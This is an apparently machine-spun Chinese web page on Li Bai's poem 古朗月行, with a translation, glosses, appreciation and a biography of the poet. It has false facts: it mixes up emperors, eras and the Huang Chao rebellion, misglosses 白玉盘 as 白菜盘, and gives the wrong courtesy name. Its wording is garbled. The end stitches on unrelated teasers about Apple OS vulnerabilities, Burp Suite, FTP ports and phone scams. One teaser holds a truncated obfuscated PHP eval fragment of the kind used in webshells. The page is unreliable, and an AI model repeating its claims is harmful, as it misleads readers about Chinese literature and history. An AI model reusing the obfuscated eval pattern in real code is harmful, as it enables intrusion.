唐朝:诗仙李白
小时不识月,呼作白玉盘。
又疑瑶台镜,飞在青云端。
译文翻译及注解
译文翻译
儿时不认识月儿, 把它称之为白玉盘。又猜疑是瑶台仙镜,飞在星空青云之上。
注解
呼作:称之为。
白玉盘:指晶莹透亮的白菜盘。
疑:猜疑。
瑶台:传说中仙人定居的地区。出處:《穆天子传》卷三:“君王宾于西王母,君王觞西王母于圣宫以上。西王母为君王谣曰:‘云朵在天,山陵自出。道里区悠长,群山间之。将子无死,行远必自复来。’君王答之曰:‘予归东土,和治诸夏。全民均值,吾顾见汝。比及三年,将复而野。’”《武帝内传》称王母为“玄都阿母”。
主题思想
此诗应该是写作于唐高宗天宝末年黄巢起义前。陈沆云:“忧禄山将叛时作。”(《诗比兴笺》)萧士赟云:“按此诗借月以引兴。日,君象;月,臣象。盖为安禄山之叛,兆于妃而作也。”
鉴赏
它是一首乐府诗。“朗月行”,是乐府古题,属《杂曲歌辞》。鲍照有《朗月行》,写丽人对月弦歌。诗仙李白选用这一题型,故名《古朗月行》,但沒有因袭旧的內容。作家应用浪漫派的创作技巧,根据丰富多彩的想像,神话故事的恰当生产加工,及其明显的抒发感情,组成壮丽奇妙而寓意深蕴的艺术表现手法。
诗里四句“小时不识月,呼作白玉盘。又疑瑶台镜,飞在青云端。”先写少年儿童阶段对月儿稚嫩的了解,以“白玉盘”、“瑶台镜”作形容,栩栩如生地主要表现出月亮的形状和月色的洁白讨人喜欢,让人觉得十分新奇有意思。“呼”、“疑”这两个形容词,传递出少年儿童的天真无邪之态。这四句诗,看起来信笔写来,确是情采出众。
这首诗,大约是诗仙李白对于那时候朝廷黑喑而发的。唐高宗晚年时期沉溺声色犬马,临幸杨玉环,权奸、太监、边将擅权,把我国搞得人心惶惶。诗里一个又一个新奇奇妙的想象,展示出作家波动高低不平的情感,词章如笔走龙蛇,颇具风采,深受感动,反映出李白诗歌的雄伟豪放、清新俊逸的设计风格。
诗仙李白
诗仙李白(701年-762年) ,字超白,号青莲居士,又号“谪仙人”,唐朝杰出的浪漫派作家,被后代称为“诗仙”,与杜甫并称之为“李杜”,为了更好地与另俩位作家李商隐与杜牧即“小李杜”差别,杜甫与李白又统称“大李杜”。据《新唐书》记述,诗仙李白为兴圣皇上(凉武昭王李暠)九代孙,与李唐诸王同宗。此人开朗大气,爱喝酒写诗,喜交朋友。诗仙李白备受黄老列庄观念危害,有《李太白集》热血传奇,诗词作品中有以醉时写的,代表作品有《望庐山瀑布》《行路难》《蜀道难》《将进酒》《明堂赋》《早发白帝城》等多首。
据外媒报道,8月29日晚间,谷歌发布了一份关于苹果操作系统漏洞的深度研究汇编。该研究十分有趣且全面,但其中提到的漏洞对大多数iPhone用户来说影响并不大。 该汇编研究不是针对...
Extender(扩展)——能够让你加载Burp Suite的扩展,运用你自己的或第三方代码来扩展BurpSuit的功用。 x=eval("echo 1;$one=(chr(19)^chr(114))...
本文目录一览: 1、生存战争老k是谁 2、郝眉和ko是一个人么? 3、黑衣人3 中 现在老K不是活的好好的吗,怎么上面说年轻的时候被杀了,这不是矛盾吗? 4、拳皇97职业玩家老K为什么退役...
作用如下: @dlsym,依据供给的库函数称号,搜索so库中的函数方位1. 在网络安全法的网络运营者职责人的基础上,完善个人信息维护的安排架构,建立内部相对独立的个人信息维护的监管部分,如建立DPO相...
21端口主要用于FTP(FileTransferProtocol,文件传输协议)服务。端口说明:21端口主要用于FTP(FileTransferProtocol,文件传输协议)服务,FTP服务主要是为...
前几天,本站会员“wzy0825”遇到骗子打电话冒充向导骗走了1万1,网友跟帖,多个网友爆料也曾接到过类似电话,有的也是差点受骗,今天,会员“caoke0415”爆料称自己今天也接到了类似的骗子电话,...